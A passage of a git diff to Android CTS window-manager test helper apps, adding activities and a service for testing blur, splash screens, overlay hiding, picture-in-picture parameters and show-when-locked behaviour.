+import android.server.wm.app.BroadcastReceiverActivity;
+
+
+public class BlurActivity extends BroadcastReceiverActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.blur_activity);
+        getWindow().setBackgroundBlurRadius(
+                getIntent().getIntExtra(EXTRA_BACKGROUND_BLUR_RADIUS_PX, 0));
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index cc7ed6d..ce51a71 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -52,6 +52,8 @@
             component("FontScaleNoRelaunchActivity");
     public static final ComponentName FREEFORM_ACTIVITY = component("FreeformActivity");
     public static final ComponentName HOST_ACTIVITY = component("HostActivity");
+    public static final ComponentName HIDE_OVERLAY_WINDOWS_ACTIVITY =
+            component("HideOverlayWindowsActivity");
     public static final ComponentName KEYGUARD_LOCK_ACTIVITY = component("KeyguardLockActivity");
     public static final ComponentName LANDSCAPE_ORIENTATION_ACTIVITY =
             component("LandscapeOrientationActivity");
@@ -211,12 +213,29 @@
     public static final ComponentName POPUP_MPP_ACTIVITY =
             component("PopupMinimalPostProcessingActivity");
 
+    public static final ComponentName CRASHING_ACTIVITY =
+            component("CrashingActivity");
+
+    public static final ComponentName HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY =
+            component("HandleSplashScreenExitActivity");
+    public static final ComponentName SPLASH_SCREEN_REPLACE_ICON_ACTIVITY =
+            component("SplashScreenReplaceIconActivity");
+
     public static final ComponentName TEST_DREAM_SERVICE =
             component("TestDream");
 
     public static final ComponentName TEST_STUBBORN_DREAM_SERVICE =
             component("TestStubbornDream");
 
+    public static final ComponentName OVERLAY_TEST_SERVICE =
+            component("OverlayTestService");
+
+    public static final ComponentName BLUR_ACTIVITY =
+            component("BlurActivity");
+
+    public static final ComponentName BACKGROUND_IMAGE_ACTIVITY =
+            component("BackgroundImageActivity");
+
     /**
      * Action and extra key constants for {@link #INPUT_METHOD_TEST_ACTIVITY}.
      */
@@ -226,6 +245,27 @@
     }
 
     /**
+     * The keys are used for {@link TestJournalProvider} when testing starting window.
+     */
+    public static class TestStartingWindowKeys {
+        public static final String HANDLE_SPLASH_SCREEN_EXIT = "HandleSplashScreenExitActivity";
+        public static final String REPLACE_ICON_EXIT = "SplashScreenReplaceIconActivity";
+        public static final String RECEIVE_SPLASH_SCREEN_EXIT = "receive_splash_screen_exit";
+        public static final String CONTAINS_CENTER_VIEW = "contains_center_view";
+        public static final String CONTAINS_BRANDING_VIEW = "contains_branding_view";
+        public static final String ICON_ANIMATION_DURATION = "icon_animation_duration";
+        public static final String ICON_ANIMATION_START = "icon_animation_start";
+
+        public static final String REQUEST_HANDLE_EXIT_ON_CREATE = "handle_exit_onCreate";
+        public static final String REQUEST_HANDLE_EXIT_ON_RESUME = "handle_exit_onResume";
+        public static final String CANCEL_HANDLE_EXIT = "cancel_handle_exit";
+
+        public static final String REQUEST_SET_NIGHT_MODE_ON_CREATE = "night_mode_onCreate";
+        public static final String GET_NIGHT_MODE_ACTIVITY_CHANGED = "get_night_mode_activity";
+        public static final String DELAY_RESUME = "delay_resume";
+    }
+
+    /**
      * The keys are used for {@link TestJournalProvider} when testing wallpaper
      * component.
      */
@@ -315,10 +355,16 @@
         public static final String EXTRA_FONT_ACTIVITY_DPI = "fontActivityDpi";
     }
 
+    /** Extra key constants for {@link android.server.wm.app.NoHistoryActivity}. */
+    public static class NoHistoryActivity {
+        public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
+    }
+
     /** Extra key constants for {@link android.server.wm.app.TurnScreenOnActivity}. */
     public static class TurnScreenOnActivity {
         // Turn on screen by window flags or APIs.
         public static final String EXTRA_USE_WINDOW_FLAGS = "useWindowFlags";
+        public static final String EXTRA_SHOW_WHEN_LOCKED = "useShowWhenLocked";
         public static final String EXTRA_SLEEP_MS_IN_ON_CREATE = "sleepMsInOnCreate";
     }
 
@@ -366,6 +412,14 @@
     }
 
     /**
+     * Extra constants for {@link android.server.wm.app.BlurActivity}.
+     */
+    public static class BlurActivity {
+        public static final String EXTRA_BACKGROUND_BLUR_RADIUS_PX = "background_blur_radius";
+        public static final String ACTION_FINISH = "android.server.wm.app.BlurActivity.finish";
+    }
+
+    /**
      * Action and extra key constants for {@link android.server.wm.app.PipActivity}.
      *
      * TODO(b/73346885): These constants should be in {@link android.server.wm.app.PipActivity}
@@ -411,6 +465,11 @@
         // Calls requestAutoEnterPictureInPicture() with the value provided
         public static final String EXTRA_ENTER_PIP_ON_PIP_REQUESTED =
                 "enter_pip_on_pip_requested";
+        // Sets auto PIP allowed on the activity picture-in-picture params.
+        public static final String EXTRA_ALLOW_AUTO_PIP = "enter_pip_auto_pip_allowed";
+        // Sets seamless resize enabled on the activity picture-in-picture params.
+        public static final String EXTRA_IS_SEAMLESS_RESIZE_ENABLED =
+                "enter_pip_is_seamless_resize_enabled";
         // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
         public static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
         // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
@@ -439,6 +498,8 @@
         public static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
         // Dismiss keyguard when activity show.
         public static final String EXTRA_DISMISS_KEYGUARD = "dismiss_keyguard";
+        // Number of custom actions should be set onto PictureInPictureParams
+        public static final String EXTRA_NUMBER_OF_CUSTOM_ACTIONS = "number_of_custom_actions";
     }
 
     /**
@@ -504,6 +565,21 @@
         public static final String KEY_FINISH_BEFORE_LAUNCH = "finish_before_launch";
     }
 
+    public static class OverlayTestService {
+        public static final String EXTRA_LAYOUT_PARAMS = "layout_params";
+    }
+
+    public static class Notifications {
+        public static final String CHANNEL_MAIN = "main";
+        public static final int ID_OVERLAY_TEST_SERVICE = 1;
+    }
+
+    public static class HideOverlayWindowsActivity {
+        public static final String ACTION = "hide_action";
+        public static final String PONG = "pong_action";
+        public static final String SHOULD_HIDE = "should_hide";
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CrashingActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CrashingActivity.java
new file mode 100644
index 0000000..7ca8090
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CrashingActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/** This activity will instantly crash with a RuntimeException upon receiving any intent. */
+public class CrashingActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        throw new RuntimeException("Crashing for testing purposes!");
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java
new file mode 100644
index 0000000..bf82ea2
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.app.UiModeManager.MODE_NIGHT_AUTO;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CANCEL_HANDLE_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_BRANDING_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_CENTER_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.GET_NIGHT_MODE_ACTIVITY_CHANGED;
+import static android.server.wm.app.Components.TestStartingWindowKeys.HANDLE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.RECEIVE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_CREATE;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE;
+
+import android.app.Activity;
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.server.wm.TestJournalProvider;
+import android.window.SplashScreen;
+
+public class HandleSplashScreenExitActivity extends Activity {
+    private SplashScreen mSSM;
+    private UiModeManager mUiModeManager;
+    private boolean mReportSplashScreenNightMode;
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mSSM = getSplashScreen();
+        if (getIntent().getBooleanExtra(REQUEST_HANDLE_EXIT_ON_CREATE, false)) {
+            mSSM.setOnExitAnimationListener(mSplashScreenExitHandler);
+        }
+        final String nightMode = getIntent().getStringExtra(REQUEST_SET_NIGHT_MODE_ON_CREATE);
+        if (nightMode != null) {
+            mUiModeManager = getSystemService(UiModeManager.class);
+            final int setNightMode = Integer.parseInt(nightMode);
+            mUiModeManager.setApplicationNightMode(setNightMode);
+            mReportSplashScreenNightMode = true;
+        }
+    }
+
+    private final SplashScreen.OnExitAnimationListener mSplashScreenExitHandler =
+            view -> {
+                final Context baseContext = getBaseContext();
+                final boolean containsCenter = view.getIconView() != null;
+                final boolean containsBranding = view.getBrandingView() != null
+                        && view.getBrandingView().getBackground() != null;
+                TestJournalProvider.putExtras(baseContext, HANDLE_SPLASH_SCREEN_EXIT, bundle -> {
+                    bundle.putBoolean(RECEIVE_SPLASH_SCREEN_EXIT, true);
+                    bundle.putBoolean(CONTAINS_CENTER_VIEW, containsCenter);
+                    bundle.putBoolean(CONTAINS_BRANDING_VIEW, containsBranding);
+                });
+                view.postDelayed(view::remove, 500);
+            };
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        if (getIntent().getBooleanExtra(REQUEST_HANDLE_EXIT_ON_RESUME, false)) {
+            mSSM.setOnExitAnimationListener(mSplashScreenExitHandler);
+        }
+        if (getIntent().getBooleanExtra(CANCEL_HANDLE_EXIT, false)) {
+            mSSM.setOnExitAnimationListener(null);
+        }
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        if (mReportSplashScreenNightMode) {
+            final int configNightMode = newConfig.uiMode & Configuration.UI_MODE_NIGHT_MASK;
+            final Context baseContext = getBaseContext();
+            TestJournalProvider.putExtras(baseContext, HANDLE_SPLASH_SCREEN_EXIT, bundle -> {
+                bundle.putInt(GET_NIGHT_MODE_ACTIVITY_CHANGED, configNightMode);
+            });
+            // reset after test done
+            mReportSplashScreenNightMode = false;
+            mUiModeManager.setApplicationNightMode(MODE_NIGHT_AUTO);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
new file mode 100644
index 0000000..4014999
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.SHOULD_HIDE;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+
+/**
+ * Helper activity for HideApplicationOverlaysTest. Communication is handled through a pair of
+ * broadcast receivers, this activity is receiving commands from the tests and emits a pong
+ * message when the commands have been executed.
+ */
+public class HideOverlayWindowsActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        registerReceiver(mBroadcastReceiver, new IntentFilter(ACTION));
+    }
+
+    BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ACTION.equals(intent.getAction())) {
+                boolean booleanExtra = intent.getBooleanExtra(SHOULD_HIDE, false);
+                getWindow().setHideOverlayWindows(booleanExtra);
+                sendBroadcast(new Intent(PONG));
+            }
+        }
+    };
+
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
index f2721bb..8c1c0fa 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
@@ -16,9 +16,7 @@
 
 package android.server.wm.app;
 
-import android.app.Activity;
-
-public class LaunchIntoPinnedStackPipActivity extends Activity {
+public class LaunchIntoPinnedStackPipActivity extends PipActivity {
     @Override
     protected void onResume() {
         super.onResume();
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
index fd44271..9b955ae 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
@@ -16,11 +16,9 @@
 
 package android.server.wm.app;
 
-import android.app.Activity;
-import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 
-public class LaunchPipOnPipActivity extends Activity {
+public class LaunchPipOnPipActivity extends PipActivity {
 
     @Override
     public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java
index 83f0587..edf727a 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java
@@ -16,8 +16,21 @@
 
 package android.server.wm.app;
 
+import android.os.Bundle;
+
 /**
  * An activity that has the noHistory flag set.
  */
 public class NoHistoryActivity extends AbstractLifecycleLogActivity {
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        if (getIntent().getBooleanExtra(Components.NoHistoryActivity.EXTRA_SHOW_WHEN_LOCKED,
+                false)) {
+            setShowWhenLocked(true);
+            setTurnScreenOn(true);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/OverlayTestService.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/OverlayTestService.java
new file mode 100644
index 0000000..3cc4526
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/OverlayTestService.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.OverlayTestService.EXTRA_LAYOUT_PARAMS;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.Color;
+import android.os.IBinder;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+public class OverlayTestService extends Service {
+    private WindowManager mWindowManager;
+    private View mView;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if (intent != null && intent.hasExtra(EXTRA_LAYOUT_PARAMS)) {
+            // Have to be a foreground service since this app is in the background
+            startForeground();
+            addWindow(intent.getParcelableExtra(EXTRA_LAYOUT_PARAMS));
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void addWindow(final LayoutParams params) {
+        mView = new View(this);
+        mView.setBackgroundColor(Color.RED);
+        mWindowManager.addView(mView, params);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mView != null) {
+            mWindowManager.removeViewImmediate(mView);
+            mView = null;
+        }
+    }
+
+    private void startForeground() {
+        String channel = Components.Notifications.CHANNEL_MAIN;
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(
+                new NotificationChannel(channel, channel, NotificationManager.IMPORTANCE_DEFAULT));
+        Notification notification =
+                new Notification.Builder(this, channel)
+                        .setContentTitle("CTS")
+                        .setContentText(getClass().getCanonicalName())
+                        .setSmallIcon(android.R.drawable.btn_default)
+                        .build();
+        startForeground(Components.Notifications.ID_OVERLAY_TEST_SERVICE, notification);
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 26f7b1e..5778ac2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -16,15 +16,13 @@
 
 package android.server.wm.app;
 
-import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.app.Components.PipActivity.ACTION_ENTER_PIP;
 import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
 import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
 import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
 import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.ACTION_SET_REQUESTED_ORIENTATION;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ALLOW_AUTO_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_DISMISS_KEYGUARD;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
@@ -34,6 +32,7 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
 import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
+import static android.server.wm.app.Components.PipActivity.EXTRA_NUMBER_OF_CUSTOM_ACTIONS;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
 import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_DENOMINATOR;
@@ -42,19 +41,21 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SHOW_OVER_KEYGUARD;
 import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
 import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
 
 import android.app.Activity;
-import android.app.ActivityOptions;
+import android.app.PendingIntent;
 import android.app.PictureInPictureParams;
+import android.app.RemoteAction;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.res.Configuration;
-import android.graphics.Rect;
+import android.graphics.drawable.Icon;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.SystemClock;
@@ -62,6 +63,9 @@
 import android.util.Log;
 import android.util.Rational;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class PipActivity extends AbstractLifecycleLogActivity {
 
     private boolean mEnteredPictureInPicture;
@@ -169,6 +173,20 @@
             }
         }
 
+        final PictureInPictureParams.Builder sharedBuilder = new PictureInPictureParams.Builder();
+        boolean sharedBuilderChanged = false;
+
+        if (getIntent().hasExtra(EXTRA_ALLOW_AUTO_PIP)) {
+            sharedBuilder.setAutoEnterEnabled(true);
+            sharedBuilderChanged = true;
+        }
+
+        if (getIntent().hasExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED)) {
+            sharedBuilder.setSeamlessResizeEnabled(
+                    getIntent().getBooleanExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, true));
+            sharedBuilderChanged = true;
+        }
+
         // Enable tap to finish if necessary
         if (getIntent().hasExtra(EXTRA_TAP_TO_FINISH)) {
             setContentView(R.layout.tap_to_finish_pip_layout);
@@ -185,6 +203,22 @@
             startActivity(launchIntent);
         }
 
+        // Set custom actions if requested
+        if (getIntent().hasExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS)) {
+            final int numberOfCustomActions = Integer.valueOf(
+                    getIntent().getStringExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS));
+            final List<RemoteAction> actions = new ArrayList<>(numberOfCustomActions);
+            for (int i = 0; i< numberOfCustomActions; i++) {
+                actions.add(createRemoteAction(i));
+            }
+            sharedBuilder.setActions(actions);
+            sharedBuilderChanged = true;
+        }
+
+        if (sharedBuilderChanged) {
+            setPictureInPictureParams(sharedBuilder.build());
+        }
+
         // Register the broadcast receiver
         IntentFilter filter = new IntentFilter();
         filter.addAction(ACTION_ENTER_PIP);
@@ -292,20 +326,6 @@
     }
 
     /**
-     * Launches a new instance of the PipActivity directly into the pinned stack.
-     */
-    static void launchActivityIntoPinnedStack(Activity caller, Rect bounds) {
-        final Intent intent = new Intent(caller, PipActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchBounds(bounds);
-        options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
-        caller.startActivity(intent, options.toBundle());
-    }
-
-    /**
      * Launches a new instance of the PipActivity in the same task that will automatically enter
      * PiP.
      */
@@ -324,4 +344,12 @@
                 Integer.valueOf(intent.getStringExtra(extraNum)),
                 Integer.valueOf(intent.getStringExtra(extraDenom)));
     }
+
+    /** @return {@link RemoteAction} instance titled after a given index */
+    private RemoteAction createRemoteAction(int index) {
+        return new RemoteAction(Icon.createWithResource(this, R.drawable.red),
+                "action " + index,
+                "contentDescription " + index,
+                PendingIntent.getBroadcast(this, 0, new Intent(), PendingIntent.FLAG_IMMUTABLE));
+    }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SplashScreenReplaceIconActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SplashScreenReplaceIconActivity.java
new file mode 100644
index 0000000..8db71ef
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SplashScreenReplaceIconActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.TestStartingWindowKeys.CANCEL_HANDLE_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_CENTER_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.DELAY_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_DURATION;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_START;
+import static android.server.wm.app.Components.TestStartingWindowKeys.RECEIVE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REPLACE_ICON_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_CREATE;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.server.wm.TestJournalProvider;
+import android.view.View;
+import android.window.SplashScreen;
+import android.window.SplashScreenView;
+
+public class SplashScreenReplaceIconActivity extends Activity {
+    private SplashScreen mSSM;
+    private final SplashScreen.OnExitAnimationListener mSplashScreenExitHandler=
+            this::onSplashScreenExit;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mSSM = getSplashScreen();
+        if (getIntent().getBooleanExtra(REQUEST_HANDLE_EXIT_ON_CREATE, false)) {
+            mSSM.setOnExitAnimationListener(mSplashScreenExitHandler);
+        }
+        if (getIntent().getBooleanExtra(DELAY_RESUME, false)) {
+            SystemClock.sleep(5000);
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        if (getIntent().getBooleanExtra(CANCEL_HANDLE_EXIT, false)) {
+            mSSM.setOnExitAnimationListener(null);
+        }
+    }
+
+    private void onSplashScreenExit(SplashScreenView view) {
+        final Context baseContext = getBaseContext();
+        final View centerView = view.getIconView();
+        TestJournalProvider.putExtras(baseContext, REPLACE_ICON_EXIT, bundle -> {
+            bundle.putBoolean(RECEIVE_SPLASH_SCREEN_EXIT, true);
+            bundle.putBoolean(CONTAINS_CENTER_VIEW, centerView != null);
+            bundle.putLong(ICON_ANIMATION_DURATION, view.getIconAnimationDurationMillis());
+            bundle.putLong(ICON_ANIMATION_START, view.getIconAnimationStartMillis());
+        });
+        view.remove();
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
index b013fde..48eb6e3 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
@@ -26,12 +26,18 @@
         super.onCreate(savedInstanceState);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        final boolean useShowWhenLocked = getIntent().getBooleanExtra(
+                Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED, true /* defaultValue */);
         if (getIntent().getBooleanExtra(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
                 false /* defaultValue */)) {
-            getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                  | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+            if (useShowWhenLocked) {
+                getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+            }
         } else {
-            setShowWhenLocked(true);
+            if (useShowWhenLocked) {
+                setShowWhenLocked(true);
+            }
             setTurnScreenOn(true);
         }
 
diff --git a/tests/framework/base/windowmanager/app27/Android.bp b/tests/framework/base/windowmanager/app27/Android.bp
index 28ed703..a9cacef 100644
--- a/tests/framework/base/windowmanager/app27/Android.bp
